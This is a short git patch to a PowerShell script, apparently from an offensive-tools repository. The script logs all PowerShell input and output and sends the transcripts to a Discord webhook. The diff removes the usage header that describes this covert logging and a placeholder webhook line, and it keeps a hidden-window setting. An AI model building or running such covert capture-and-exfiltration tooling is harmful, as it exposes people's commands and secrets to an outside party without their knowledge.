From 518ad01265359d8dcf27e4b998aa77b5f2be93cc Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Wed, 3 Apr 2024 19:19:02 +0000 Subject: [PATCH] Update main.ps1 --- Global-PS-Trascription-to-Discord/main.ps1 | 17 +---------------- 1 file changed, 1 insertion(+), 16 deletions(-) diff --git a/Global-PS-Trascription-to-Discord/main.ps1 b/Global-PS-Trascription-to-Discord/main.ps1 index 6862170..da00adf 100644 --- a/Global-PS-Trascription-to-Discord/main.ps1 +++ b/Global-PS-Trascription-to-Discord/main.ps1 @@ -1,21 +1,6 @@ -<# ===================== Beigeworm Global Powershell Transcription to Discord ===================== - -SYNOPSIS -Log all powershell input and output and sends results to a webhook. - -USAGE -1. Replace YOUR_WEBHOOK_HERE with your webhook url -1. Run to enable logging and start sending transcript info -2. Check Discord for results -3. Run again to remove logging - -NOTES -Admin Permissions may be required. (for setting execution policies and registry keys) - -#> if ($dc.Length -eq 0){ -$dc = "YOUR_WEBHOOK_HERE" +write-host "No webhook supplied" } $hideWindow = 1 # 1 = Hidden